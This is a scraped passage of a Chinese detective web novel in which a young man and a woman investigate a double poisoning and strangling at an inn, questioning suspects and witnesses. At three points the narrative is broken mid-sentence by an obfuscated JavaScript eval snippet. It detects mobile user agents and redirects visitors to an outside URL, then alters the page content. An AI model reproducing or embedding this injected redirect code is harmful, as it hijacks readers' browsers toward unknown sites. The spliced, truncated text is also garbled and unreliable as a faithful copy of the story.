“平、平日里,我、我摸一下都、都嫌我脏……”武大郎说着说着开始哽咽,“却给、给了那、那人,我、我就知道,定、定是又勾搭、勾搭上了……” “当时约莫什么时辰?”凌轩问。 “时、时辰?”武大郎恍惚,只说不到中午。 这倒是和昨日长随旺男说的一致,卫峰确实是上午遣人通知的女死者,约定晚上相会。 “那之后,你为什么放下挑担生计不顾,回乡下找你老娘,还想带她离开呢?你又为何被村长扣了一下午?”凌轩一面问,一面招手,示意我们请来的证人出场。 没错,方才包子铺中的马姓大汉就是关键的证人,昨日未时之前,他便在据秋水县二十里地的乡下见到了武大郎。当时,后者正跟人打架,村长赶来后当即将其扣下。 “我、我……”武大郎眼眶红了,低下头,似乎觉得没脸见人,“没、没意思,人活着真、真没意思……我、我就是想再去、去看一眼老、老娘。谁知、谁知隔壁那、那羔子又偷我娘种、种的果子,我气急、气急了才、才……” 武大郎说不下去了,如同被抽空了力气一般,倒在地上抽噎。 事情已经很清楚了。久知婆娘德行的武大郎受够了指指点点,那珍藏不允他碰触的帕子,就是压死骆驼的最后一根稻草。 但比起夺人性命,武大郎周身的刺,只会扎向自己,所以他绝望的丢下了生计,回乡下再看老娘最后一眼。但隔壁邻居偷果子的行为,又如偷人一幕展现在眼前,刺激迭生,他终是挥下了拳头。 从时间线上讲,在西元堂少东家被勒死前,武大郎已经回到了乡下,又被村长扣到深夜才放,已能排除他的嫌疑。而从作案手法来说,如何进客栈、如何下毒、为何勒死后塞进木箱,这些谜团解释不了,也实在不能将凶手之名加之他的头上。 “放了他吧。”我上前一步,轻声道,“案件未了之前,可以限制他出城,但别抓他去牢狱了。” 凌轩正要点头,武大郎倒耳尖听见了,登时大力翻起身来,直接挣开衙差的束缚,朝我扑了过来。 凌轩反应飞快,箭步上前挡住了我。 猩猩衙差被吓了一大跳,忙吼道:“武大郎!你小子要干嘛!” 可众人担忧的场景没有发生,武大郎没有行凶或者逃跑,只是眼眶红肿着跪下了身,哑声道:“求、求求各位官爷,替小人洗冤!也请、也请官爷们为我那婆娘……讨回公道吧!” 被如此背叛,还能记挂着她。 一时间,众人都沉默了。 ——————————————— 从武大郎家离开,我和凌轩一时都没说话。猩猩衙差陪在一侧,小心觑着凌轩的脸色,嘴唇张了几次,不敢开口。 凌轩没有晾他太久,朝他看去:“说吧,是有什么线索了吗?” 猩猩衙差松了口气,忙道:“是是,就昨天您让我问我表弟那事,有眉目了。” “哦?”凌轩来了些兴致,“他怎么说?卫峰为何会与西元堂少东家吃饭?” “卫峰答应与西元堂合作,卖地呢!”猩猩衙差一字一顿的说,自己也惊讶的紧。 医馆想要壮大,自己拥有药田种植,能显著降低药材进价,压低成本。但秋水县附近的药田,都在卫府手中。往年东兴号兴盛,与卫府合作,双方都能得利。但现在东兴号都在关张崖边,根本需要不了那么多药田,故而这一两年,卫府药田均处荒废状态。 崛起中的西元堂,不止一次来求合作,卫峰因其不择手段不留余地的逼迫东兴号,从来没给过好脸。 可就在三个月前,卫峰突然松了口,虽然条件提的苛刻,但这能为西元堂打通进货渠道,因而少东家仍亲自登门,协商了十数次,终于谈妥,这才约着昨天中午签约。 “为什么突然松口?”我很诧异,明明去年还为此退婚了自己喜欢的姑娘啊。 碍于凌轩身份,猩猩衙差对我也变得和颜悦色,立即答道:“卑职也不知道,问了旺男,只说卫峰自己也有些犹豫,但就是这么吩咐的,没说理由。” “这倒有些意思。”凌轩抱臂思考,脚步也慢了下来。“卫峰既把与东兴号的情谊看的这么重,一两年药田损失也没放在眼中,怎么就突然改变主意了?” 但这至少解释了昨日中午西元堂少东家兴致勃勃的来由,代表着心心念念的买卖要做成了,自家产业又能壮大了,果然是喜事一件。 “可菜没上全就叫停了……”凌轩看向猩猩衙差,“怎么,签约又不签了?” “是啊!您猜的真准!”猩猩衙差连连点头,还不忘马屁一波。“旺男说,昨天上午临出门前,卫峰本陪着小妾呢,突然叫他去,差他赶往如归客栈通知对方,契约暂时不签了。” “为什么呢?不是谈了三个月才谈妥吗?” “是啊,旺男说当时他也以为自己听错了,尤其见卫峰还是笑着吩咐他的。” 笑? 想象一下,画面怎么感觉有点诡异。 “旺男当时就想追问,不过小妾在房里撒娇,叫嚷药苦,卫峰就进屋陪着去了。”猩猩衙差摇摇头,又自言自语,“我说昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哦,这点卑职也查问了,主要还是中午客人多,生面孔或者不常来的,掌柜自会留意。但旺男是自家少爷的随从,偶尔也会来代主巡视,看看生意怎么样。所以掌柜没顾得上他,也没留意他上没上楼,昨日问话,也没想起这茬来。” 而旺男实则担负重任,进了客栈就直奔三楼。当时少东家正在雅间内踱步,见他来还颇有喜色。其实当时已经晚于二人约定的时间,但毕竟卖方市场,少东家自然也没说什么。 可等旺男讲完,少东家还是变了脸。 “我表弟说,少东家气的又是握拳又是瞪眼,他也觉得这事不太地道,又请句安就忙下了楼。离开客栈前,还听见少东家怒气冲冲的叫掌柜呢。” 旺男离开,少东家才叫人上去撤走席面,也即,当时他还好端端活着。这番话也能和掌柜的说辞对上。那为什么没多久,他就无声无息死在了雅间中呢? 凶手,又是为何将他费力塞入木箱,是为了掩藏他已死的事实,来麻痹卫峰吗?两个从未合作的精英,签约不成反被爽约,若说一个干掉另一个,倒还有些说头。怎么故事演变,却是二者相继身亡了呢? 东兴号?可即便卫峰转将药田卖给西元堂,并不直接触及东兴号的利益,到底还在其他方面多加帮衬,东兴号又怎会恩将仇报?再说了,昨日中午出现过的老管家一没体力,二有证人啊。 难道,还是同样也出现过的卢四苹? “卢四苹,还没回来吗?你们分配人手蹲守了?”凌轩竟也想到了她。 这个男人和我还真同频,我心中咯噔了一下。 “盯着,盯着呢,说是去了隔壁县访友,卑职也派人追去了。” 凌轩颔首,目光朝我扫来:“那现在,不如再去客栈瞧瞧吧。” 8. 玲珑酒壶 如归客栈出了命案,一时间门可罗雀,人人经过,都掩鼻绕开。 我们甫一踏入,却听见掌柜正在责骂小二:“去去去,把衣服换了,你瞧瞧腰间,都沾上血了!是不是碰着那箱子了?” 小二诧异低头:“没、没有吧……哎呀,昨天说换衣服,这心慌意乱的,都忘了。” “得了吧,你就是个猪脑子,动不动忘记闩窗户!昨天要不是那晦气的姑娘偷偷溜进来,咱们客栈能弄成这样吗?” 我步子一滞,啊,说的是我啊? 猩猩衙差马上喝了句“说什么呢!还不滚过来!”复又朝我赔笑脸,“小姐莫在意。” 这般殷勤我实在有些不适应,忙摆摆手,轻声道:“差大哥不必如此,昨日潜入偷吃,的确是我不对。方才在县中却没看到当铺,不知县中何处有?” 凌轩伸手制止了我拔簪子的动作,浅笑道:“原来你刚才东张西望,是在找当铺啊。不过一些吃食,既相逢一场,我替姑娘偿还就是。你头上的簪子既是从家乡带来的,还是留着好。” 不知怎得,“家乡”一词灌入耳朵,我竟没来由脊骨一麻。 说话间,掌柜和小二已经奔来,吓得脸色都变了。凌轩好声好气的掏出钱袋子,他们也坚决不要。 “公子既然要给,你们就拿着!公子小姐还能差你们这点子钱吗?”猩猩衙差还是很有眼色的,在这个县城,也颇为威严。他一开口,掌柜哆哆嗦嗦就接了下来。 凌轩温声道:“掌柜莫紧张,我等来只是想看看案发现场。不过,”他顿了顿,“命案一事既查明与王姑娘无关,日后说辞还是莫要栽到她头上的好。” “是是,”掌柜慌张点头,“小人一定注意这张嘴,不敢再瞎说了。” 我瞟了一眼凌轩,他神色如常,已问起小二旁的。“你经常有忘落闩的毛病吗?那昨日,二三层、后院,是否也有窗户没关?” 否认的却是掌柜:“不不,昨天不会。小人就知他忘性大,整天丢三落四的,便时常亲自上楼检查,昨儿就是。辰时,铺子开张前,小人专门检查了雅间,就怕哪个窗户开着,最近天儿还冷,可不能把客人吹着不是?” 二三层都检查过,一层则有守夜与店中伙计,唯一可能潜入的漏洞是厨房那道没关的窗户,却因着我的存在,也排除了可能。 也即,命案并非有人提前藏身客栈中,伺机行凶。 掌柜汇报的时候,凌轩脚下不停,已登上了二层。“昨天中午有几桌客人?” “唔,怎么也得七八桌……去,把账本取来。”掌柜支使小二。 “卢四苹招待了什么人,坐在哪间?” “第三间。卢小姐请了两位闺中密友,一般这个人数上不了雅间,但毕竟是女客,小人就给她开了一间。卢小姐心情还挺好,不像前些日子饮酒怨怼。” “哦?”我挑了挑眉,“那她昨日喝酒了吗?” “没有,”掌柜摇头,“点了红枣雪梨汤,没要酒。” 凌轩闻言侧头:“她请的两位闺中密友,可找到询问?” 猩猩衙差哭丧着脸:“就是她们三位一道外出访友的。说是昨天中午用完餐先到卢小姐家中小坐,下午三人忽然起了兴致出门的。卑职查问了城门,的确如此。” 这么巧,三个人同去? 难道中午作案是多人合作?但下午三人已经离开秋水县,又如何下毒? 想不明白,凌轩索性推开了雅间巡视,却也没瞧出个什么。他一间间走过,一间间排查,直到又回到楼梯间,问道:“那昨日东兴号那桌,在哪间?” “就邻着楼梯边的这间啊。老掌柜楼梯都爬不动,哪能往里安排啊。” 凌轩颔首,问猩猩衙差:“他宴请的宾客你都查了吗?怎么说?” “查了的,都说老管家几日前就知会他们,希望在他身子骨还能行的时候给个薄面吃他的席。所以大伙一听召唤都来了,各个泪洒现场,老管家自怜身世,他们又想起往日鼎盛的东兴号,都感慨不已,好几个老爷们在卑职问的时候还……”猩猩衙差摇着头,一抬眼,接收到凌轩的目光,马上神色一紧,“哦哦,瞧卑职,又说废话了。那个,卑职查问了的,除了牛大夫搀扶老管家出去扎针的一炷香时间,二人都没再外出过。卑职还专门问了史可呢,他说牛大夫和老管家一出去,他就心痒痒,没喝两杯酒,就找他去了,隔着屏风见老管家睡下,便求牛大夫施针,两人一直闲聊,直到老管家醒来。” 凌轩朝我看来,发出了和我一样的质疑:“屏风?” 掌柜当先点头:“是啊,小人给开了左边住宿楼的第一间,那每间都有屏风啊。” 我们走去一瞧,原来不同于专供筵席的雅间,住宿的每间屋子面积都在雅间两倍左右。门推开外间是小厅,有桌有椅,隔着一道屏风后,靠墙放着张床。 我巡视了一圈,目光落在了床对面的内窗上,看到凌轩已经走了过去。内窗上着闩,推开后便是走廊。 咦,那凶手要是从此跨出,岂不是很容易,还有屏风遮挡,完全可以避人耳目。 但是……我转念一想,又觉得不对。 若是寻常人,倒还可以,可昨日躺在这里的是病入膏肓、楼梯都上不来的老管家。他哪来的力气爬出、上楼、勒杀并塞入木箱呢?难道是牛大夫,借此做不在场证明? 不对,还有个第三人史可啊。他作证牛大夫全程都在的啊。 凌轩朝我摇摇头,也道:“不太对。毕竟东兴号对西元堂有怨,对卫峰又没有杀机。” 是啊。虽说二人之死差别很大,但如此相近的死亡时间,同一死亡地点,偏偏又纠葛着爽约一事,说完全无关、说只是巧合,我实在说服不了自己。 “公子还怀疑老管家?”捧着账本的小二大着胆子说,“不可能,不可能的!他醒来的时候小人正好在对面送酒,忙来帮忙。他步子飘的呦,还差点栽到窗边砸了脑袋呢!” 掌柜也叹:“是,县里谁人不知啊?也就一口气吊着了,强撑着不敢死,怕东兴号就此关张。哎,可怜的紧呐。” 这么听下来,似乎是没什么问题,凌轩便也没耽搁,撩袍抬脚出了屋子。我跟在身后,后知后觉的意识到,方才我什么也没说啊。 我们一行人又往三楼走,这层无论昨日中午还是晚上,都只开过一个雅间。 “对了,”我想到此处,忍不住问,“之前说了选三层的原因,但还没说,为什么两者都开了同一个雅间。是卫峰每次来,都给这间,固定的吗?” 掌柜摇头:“不是啊!少爷很随和的,有时候人多,哪怕坐大厅也行。昨天选这间,是走在最前头的那婆娘选的啊。” “那中午西元堂少爷东家呢?” 回答的是小二:“哦,也是少东家自己走进去的。他昨天来时心情很好,步履轻快,一直走在小人身前,上来就推门进来了呀。” 凌轩指了指楼梯:“我想,或许这最靠外的位置,就是它容易被选中的原因。” 唔,那这也是随机事项啊。 若少东家和卫峰在不同的雅间,会影响凶手的杀人计划吗?可昨日卫峰的爽约本身就是突发的,凶手怎么知道?如卫峰来了,这里就是两个青壮年,外面还有个随从,凶手还敢下手吗?在凶手的计划中,难道中午就能一并杀掉两人,谁知卫峰临时爽约,才不得不改变计划先杀了少东家?这就是藏尸的原因?那晚上卫峰的死,也是凶手计划好的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954182|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 可根据武大郎与随从旺男的说辞,卫峰是昨日上午才约的女死者,而且一反常态约在了客栈,这也是个突发情况,凶手又如何提前知悉,并绕过重重视线,给酒中下毒? 昨天我们已经排除了这个酒楼的相关人等,那还有谁能够有天时地利动手? 爽约,卫峰到底又是因何,在生意大事上这般随意? 眼见没什么突破,凌轩又从新的角度切入:“可有去查查砒霜的来处?” 砒霜的来处?这还值得查?打着买耗子药的名义,不难搞吧。 我正迷茫着,凌轩却注意到了,还附耳过来低声普及曰:“我朝有规定,砒霜购买需要医馆记录在册,并非随意可买。” “今早已经去所有医馆问了,”猩猩衙差摇头,沮丧得很,“最近一年,都没有过买卖。” 这么长时间都没有人买过?我不禁诧异。难道凶手是从县城外面的医馆购入的?那这可难查了。 脑海乱糟糟,我盯着案发现场的一桌酒菜发呆。随着视线失焦,我渐渐发现了一处蹊跷。 地上不少碗碟碎片,有个壶嘴夹杂其中,周边的一圈镶铜装饰,正是如归客栈专用的玲珑酒壶的标记。 我再抬眼看看桌上,有些懵。“掌柜,昨天你说卫峰的酒是你亲自送的,且只送了一壶,是不是?” “是啊。” “小二哥,你送了几次菜,但从没有送酒,对不对?” “对啊。” “中间还有其他伙计送过酒吗?” 掌柜摇头:“没有。” “这么肯定?” “当然啦!我们酒壶都是定制的,数量不多,只有雅间客人很多,才会同时上好几壶。我家少爷酒量不好,小人就怕他酒后……”掌柜觑了我一眼,“有危险。所以小人专门只给了一壶,想着有吩咐了再上呗。” 嗯,旺男确实也说过,中途没有人再送酒来。“所以你们的意思是,昨晚这雅间里,就只有一壶酒?” 掌柜小二和猩猩衙差面面相觑,完全不明白我为什么问了又问,凌轩亦负手而立,饶有兴致的望着我。 直到我蹲下身,从地上碗碟碎屑中拾捡出几块,与那突兀的壶嘴勉强拼出一个酒壶的形状。“那就不对了。你们看,这儿怎么还有个酒壶?” 掌柜错愕的目光在桌上倒下的那只酒壶与地上碎屑之间来回,猩猩衙差则瞎猜道:“难道是上一桌留下……诶,不对呀,上一桌就是中午的西元堂少东家啊。可少东家不是把酒菜退了吗?怎么,还是给他上了?” “没有啊。小人就没来及给他上酒,就上了四盘菜。”小二立即说。 掌柜也点头:“是啊。小人拿走的也是四盘菜,桌上哪有酒?” “那怎么回事,难道还是上上一桌的?”猩猩衙差恼怒的瞪一眼掌柜。 掌柜汗都下来了,慌忙摇头:“不可能,辰时小人检查门窗看过的嘛,屋里什么都没有!再说了,这三层雅间好几天没人用了,怎么可能有壶酒?” 那可奇了。这酒壶还能凭空出现不成? 凌轩最先想到一种可能性,将裂了的壶嘴拎起,严肃的问:“你确认这是你们店里的酒壶?” 掌柜紧张的上前检查,点了点头。 “你既说你们店中酒壶都是定制,数量少,怎么少了一个也不知道?” “这……”掌柜苦瓜着脸,“数量有限却也得二三十个,否则人多时用不开。小人们一般都是晚上关了门才数一数,有时也不数……这玩意也不值钱,又没人偷,小人们就……” “多了壶酒,竟不知何时多的?那请问,砒霜到底下在哪壶酒里?”凌轩冷冷的说,悬念一时间,拉到了最高峰。 9. 装柔弱 “姑娘手腕还有些疼吗?”走出如归客栈,凌轩忽地问我。 我下意识挠了挠,昨晚破皮的地方已经结痂,就是有些痒而已。 “还是去瞧个郎中吧,毕竟见血了。” 这点小伤还至于看医生啊,我条件反射就要拒绝,忽地心头一动,抬眼看他:“你是想借此去找牛大夫套话吧?” 凌轩眼眸闪过微光,笑道:“被姑娘发现了。早上你推我当头前兵,现在可不得还回来?” 呵,好个锱铢必较的小气鬼。 但我知道他这样做,是想看看衙差询问之外,能否套到些线索,便也没反对。到了唯一开张的东兴号店门口,还不忘伪装的柔弱了些。 “好疼,好疼。”我故意拉长了声线,对着伙计可怜兮兮,“小哥,还得等几人还能见到郎中啊?” 伙计瞅一眼我的手腕,嘴角颤了颤:“姑娘这点伤……” “妹妹柔弱,这伤也不能慢待。”凌轩顺势强调,还掂了掂自己的钱袋子,示意有钱付账,大胆开方。 伙计估计也见多了矫情的患者,便也没多说,引着我们进了门,坐到门边一排椅子上。 刚落座,旁边一位捂着肚子的大娘就抱怨起来:“还得多久啊?老妇我还得回家给那口子做饭呢。” 旁边是个拿着镐头的大爷,也不耐烦的问:“牛大夫今天怎么来晚了?不是一向巳时坐堂的吗?早知道去西元堂了,净耽误功夫!” 接连的质问让伙计有些焦躁,忙安抚道:“就好了就好了,稍等片刻而已。牛大夫的医术还不值得等上一会儿吗?列位别急,别急啊。” 这时,牛大夫在里间召唤,让伙计前去搭把手。 望着伙计的背影,大娘叹了口气:“怎么,小厮也走完了?都得学徒来招揽生意了?” “还能有个几天啊?我看真是要关张了。” “多亏还有牛大夫坚持着。诶对了,你听说了吗?昨晚得知卫少爷死讯,老管家当场就晕了!” 大爷咋舌:“咋让他知道了么?他最喜欢的后辈就是卫少爷了,人前人后都不知道夸赞感谢过多少次!这噩耗传去,不得要了半条命啊?” “可不是咋的,但昨晚闹哄哄的,消息传太快了呗!府里连夜来请牛大夫,来人哭的跟什么似的!” 大爷将镐头丢到脚下,摇头直叹:“老管家就是放不下东兴号啊。我都见过牛大夫多次叮嘱他要静思多歇,不要乱吃汤药,死马当活马医也不能瞎搞,哎!” “眼看就要关张,老管家哪敢撒手西去呐?说是老字号,还不是全靠老管家撑着的?他这主心骨一去,可不完了。你知道吗,西元堂要把分店开到隔壁县城了,昨天我还听见少东家的小厮跟人说,他下午就去谈开分店的事呢。” 我和凌轩自坐下后都懒懒听着,=直到这个消息,终于有些劲爆了。 我赶忙赔笑加入八卦团:“大娘啊,西元堂要开分店了?什么时候啊?”大娘朝我投来打量目光,我忙解释,“哦,我家就是隔壁县的呀,县里没啥好医馆,老得往你们这儿跑,不也麻烦嘛。” 大娘不疑有他,点头道:“估计就快了吧,昨天下午少东家去谈,那过俩月怎么着也就开张了呀。这少东家雷厉风行的,独来独往,出门连个仆从都不带,做事就讲究个‘快’,放心吧。” 大娘谈话神色如常,看来坊间还不知道西元堂少东家也遇害的消息。 凌轩凑过来,低声道:“赵大人说打算今天再通知西元堂,估计是怕家属同时闹,他招架不住。现在知道少东家原本下午要外出,就明白他签约之后未回府,家人为何也不寻了。” 说话间,里面的病患结束了问诊,伙计来招呼下一个。大娘瞬间萎靡,捂着肚子神情痛苦,一路哎呦直叫,一点没有刚才八卦的精气神。 嗨,要么说八卦是人类第四大本能呢,八卦起来腰也不痛了腿也不酸了,一口气也能上五层楼了。 不过大娘看着严重,实则小毛病,须臾功夫,她和大爷都问诊完毕,轮到我了。我看一眼颜色都淡了的疤,只得硬着头皮演戏。 “痒,疼,哥哥,真不舒服。”我细声细气的撒娇。 凌轩扫我一眼,神色复杂,应对起来却还挺自如:“牛大夫啊,我妹妹自小惯坏了,这点子伤就哎呦叫痛,您快给瞧瞧吧。” 牛大夫抬眼朝我们看来,倦怠之意明显。一旁的伙计赔着笑:“大夫昨夜抢救病患累着了,二位别介意。” 我和凌轩对视一眼,都暗道不妙。这个懒懒的样子,怕是不好套话了呀。 果然,在极短就完成了的问诊时间内,我递出去的两个问话全都掉在了地上,牛大夫压根没理。凌轩眯了眯眼,干脆问起牛大夫昨晚给谁瞧病,得到了对方一个白眼。 “姑娘这伤极小,就是退疤的时候有些痒,忍忍就好。”伙计送我们出来,堆着笑。 内里的牛大夫却不给面子,马上就又唤伙计进去,简短地问:“外面可还有患者?没有的话把门关了吧,我得去瞧老管家。” 伙计犹豫了一下:“可门一关,怕是影响不好……” “这有什么,前些日子不也关了吗?” “那是您回去看望老娘,这铺子一向您做堂,不在县里自然要关。但旁的理由……师傅,老管家让您回去瞧老娘,这都休了几天了,前天他专门把您叫回来。这再关门……” “哪那么多废话?快些,再把白玉损伤膏拿一瓶。” 竹帘子后,伙计的身影明暗不定,他低声问:“师傅,老管家是不是真到……” 牛大夫收拾药箱的动作一顿,只淡淡叹了句:“真到了那时候,希望人们多些宽和吧。” 意义不明的话语过后,伙计还是走出来,关上了医馆的大门。 ——————————————— “王姑娘,王姑娘?” 乱糟糟的思绪被抽回,我猛地抬头,正对上凌轩带笑的深眸。 “怎么了?” 凌轩伸手做出“请”的手势,一面说道:“不是说好了暂时不想案子,出来填饱肚子再回县衙休息吗?既然都坐在饭馆里了,还是别想了,点餐吧。”说罢,他将餐牌递给我,“姑娘喜欢吃什么,随便点。” 这么大方?那我可不客气了啊。 “红烧肉、酱焖猪蹄、香干腊肉、清蒸鱼、四喜丸子、麻辣小酥肉!哦,再来一份豆花鲜虾汤!” “客官就两位吗?咱家菜量大,点这么多,您二位吃得完吗?”小二惊了。 我瞥一眼凌轩的表情,做作的擦了擦口水:“快上快上,饿死我了!” 小二也看向凌轩,见他无动于衷,这才三两步跑走了。 于是我也假惺惺的请示道:“呀,好像是点多了,今天真是要让凌公子破费了。” “我说我请客了吗?” 我脸色陡变:“不是你让我随便点的吗?我可没钱啊,咱俩可别沦落到还得找赵大人救济啊。” 凌轩这才伸手掂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这饭店不大,我和凌轩所在的桌子本来就在最外间,挡着半扇门,十几个人忽然没章法的冲过来,险些将我们桌子掀翻。眼看长凳一角翘起,我就要被摔到地上,我趁机抓住了凌轩的胳膊。 凌轩那侧也有人挤过,他也正被撞来撞去,若非扶住桌子,也稳不住重心。 熟料我这么一拽,他被我带的身子歪过来,长凳侧偏,他就这么顺着长凳一屁股滑到了地上。 但我的凳子稳稳落下,我被翘起的脚也平稳落地。我目瞪口呆的盯着他,这才后知后觉意识到拜他所赐,我安全得很呢,连筷子上的小酥肉都没掉地。 看来的确不会武艺。 “凌公子,你还好吗?” 凌轩的目光却没抬起。 我顺着一看,发现自己正踩着他的手。 “额,不好意思啊!”这下给我尴尬的,脚都不知道放哪合适了。 凌轩嘴角都在颤,似乎被我踩得不清,好在涵养佳,只道:“观姑娘弱质纤纤,没想到吃得多,力气也不小啊。” …… “呵呵呵呵,你坐稳当,坐稳当点。你说你个大男人,怎么人家一撞还倒地呢。看起来好像是你弱质纤纤了吧?” 凌轩还保持着坐在地上的姿势,眼神睨过来:“姑娘都要摔倒了,却为了不放筷子、也不将另一侧的汤碗打翻,手没地方抓就过来揪我。否则我想,现在在地上的,也不会是我了吧?” 啊,他注意到了啊。 我不动声色的将手边几只碗推开,顾左右而言它。谁知这时候,厨房里的大哥好像才刚腾出手,也着急忙慌往外跑,急着去凑热闹。恰逢我悬空着脚,又被他撞了一下,于是…… “菜洒了咱还可以再点……姑娘再踩我两脚,这只右手估计要废了。”凌轩咬牙说道。 10. 卢四苹 月色清凌凌,与卢宅大门前两盏灯笼交相辉映,驱走了黑暗。是以卢四苹和小姐妹下车的时候,仍兴致勃勃笑闹着。 “快开门!今晚我还宿在客院,咱们再好好……诶,你们是什么人?”卢四苹骤见门后院中站满了衙差,不禁一怔。 猩猩衙差朝我与凌轩望了一眼,见我二人脚步都没动,便自己上前清清嗓子:“卢小姐,卑职系县衙捕头,现就如归客栈命案,想向三位小姐询问些问题。” “如归……”卢四苹喃喃,一脸茫然,“什么命案?” 她身侧两个花样年华的姑娘也是懵懂,对视一眼没有说话。 猩猩衙差也没多做解释,只朝屋内看了看,卢老爷便立即差丫鬟前来,将三位姑娘分开带往不同屋子等待讯问。 乍然被如此对待,三人自是惊惶,叫闹不已。然待猩猩衙差简单说了说案发情形,就全吓得目瞪口呆再无挣扎了。 我和凌轩掩在暗处目睹全程,心下都有了些判断。 方才马车一进城,猩猩衙差便通知了我们,问是否要立即拦下。凌轩沉吟片刻,认为若当街拦下带走,即便日后查明此事与三人无关,怕也会在坊间引起不必要的讨论,便叮嘱衙差追踪马车,索性等各自回家再登门查问。 没想到,都两天功夫了,三个小姐妹还是没有分开的意思,仍要住在一起姐妹夜话。 除非反社会人格,否则共同作案后,大抵不会有这样轻松愉悦的共处时刻了。 凌轩似也这么觉得,戒备紧绷的肌肉松了松,也从我身前退回到了身侧。 “凌公子,已按您吩咐分开看着了,卢老爷也单独在个屋。”猩猩衙差凑来,一面搔搔头,“那个,老爷吩咐……啊不,老爷建议、建议,那个,要不对这几位态度好些?那位淑淑小姐,她家可是秋水县大米商,京中都有关系哩。另一位家中也是商税大户啊,这若是得罪狠了……” 凌轩了然:“我本也没打算为难她们,只消问清卢小姐昨日行踪即可。这样吧,你带人去问卢老爷,关于卢小姐这一年来的心路历程,是否还深恨两名男死者。我和王姑娘先去问问卢小姐,至于另两位,请容稍后。” 猩猩衙差松了口气,不迭点头,一面作势引我二人往。 我走在凌轩身后半步,越发觉得此人不可小觑。 客院当中一间房内,卢四苹正坐在上首,仍没从震惊中缓过来。听到推门声,她跳了起来,朝我二人飞快地打量几眼,目光停留在了凌轩面上。 卢四苹细声问:“阁下是?” 凌轩垂着眼眸,抱拳道:“在下凌某,替县衙查案的。卢小姐请别介意,在下想问一下你昨日……” “那这姑娘……”卢四苹打断了,又饶有兴致地盯着我,“咱们大青不是女子不能入仕的嘛?” 啊,你们大青这么落后啊。 凌轩似噎了一下,出口倒很平静:“这位是赵夫人远方表妹,她特拜托同来,生怕我等粗鲁之人问话,唐突了小姐们。” 这理由编的没毛病,卢四苹点点头:“赵夫人思虑周全,多谢了。那姑娘,你过来坐吧。” 我从善如流自没拒绝,笑道:“卢小姐海涵。这是去哪了,怎么才回来?外头夜都深了呢。” 卢四苹面上飘过红霞,两手捏着帕子,扭捏道:“去、去看个朋友。” “那昨晚,就宿在邻县了?” 卢四苹也没诧异我怎么知道,颔首算作回答。复又问:“卫少爷怎么突然被人杀了?还有表哥……他二人又无往来,怎么会死在一起?” 平平的语气,除了好奇,没什么感情色彩。脸上旖旎也退了,看起来,卢四苹已经不在意卫峰,不在意一年前的退婚了。 许是看懂了我的眼神,卢四苹轻笑了一声:“怎么,官府是怀疑到我头上了?昨日下午,我和淑淑、阿珂就乘马车离开了秋水县,我和淑淑虽没带丫鬟,阿珂却带着一个,还有那马车夫,都能为我作证,我可没独自跑回来。不瞒你们说,一年前那事,我想起来还是不痛快,也想过找人教训教训他,但取人性命?何以至此地步。” 卢四苹说的直白,也没隐藏情绪波动。我盯着她起伏的心口,直觉认为,她没说假话。这是个爽利的姑娘,并非阴狠之人。 凌轩不置可否,只淡声问:“小姐昨日中午呢?与密友吃饭中途,可有离开?” 因为方才猩猩衙差说的又急又快,并没把案发的时段和顺序讲清。卢四苹大约以为死者都是晚上遇难,所以此刻挑了眉:“中午,中午吃饭?问这作甚?” 我忙道:“哦,官府查案,一向问的多些,没别的意思。小姐只管实言告知,无需担忧。” 卢四苹皱了皱眉,但还是配合的回答了。“中午……我没有外出吧,我们相约在午正,阿珂先到的,我在客栈门口碰到的淑淑,就一起进去了。当时掌柜已经给我们开了个雅间,然后就吃饭……中途有没有人离开?唔,阿珂去更衣,丫鬟陪着,我和淑淑都没有离开过。” 我和凌轩交换了个眼神。在她的说辞中,从开始到结束,她都没有单独行动过。 “唔,听说你和西元堂少东家打了个照面?”我斟酌着,决定诈一波。 卢四苹疑惑侧头,思索道:“照面?不曾啊。但我开门想叫伙计再上盘菜的时候,曾听见他的声音,怒气冲冲地。随后我就看到店掌柜忙不迭奔了上去,下楼时满手都是盘子,差点洒了呢。” 这倒是能和掌柜的说辞对应上。 “那他什么时候走的,你知道吗?” “不晓得。”卢四苹摇头,面露讥讽,“人家瞧不上我们,何去自讨没趣?淑淑的哥哥前几日摆宴请他,他都说什么最近脾胃失调要忌酒,拿这理由来搪塞。谁不知道他酒量一等一的好?找借口也用点心嘛,哼!真是产业大了,把谁都不放眼里了。” 说完,卢四苹又摸了摸胸膛,压下激荡的心绪,反问道:“但我听到他声音那会儿是中午啊,他为什么会晚上与卫峰死在一起?” 我们也想知道呐。 又问了几个问题,卢四苹也答不上来,我们索性去问证人。 走到半道,凌轩先摇了摇头:“她手上没有勒痕,少 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“嗯,”阿珂面对着凌轩的注目,显得颇为羞涩,低了低眼帘,她回忆道,“昨日中午小女曾去更衣,回雅间时,曾听到几声‘滴沥咣当’,之后有个暗哑的嘶叫……” 凌轩一震,催问道:“从何处传来呢?” 阿珂也说不清楚:“当时挺嘈杂的,大厅都是食客,二层人也多。说实话,小女也不敢保证听对了。只是当时的确突兀,小女还下意识顿足倾听来着,但后面好像也没什么了。” 阿珂的丫鬟在一旁瞪大了眼:“小姐也听到了?奴婢还以为自己白日梦呢。” “你也听到了?那你之后还听到什么了吗?”我问。 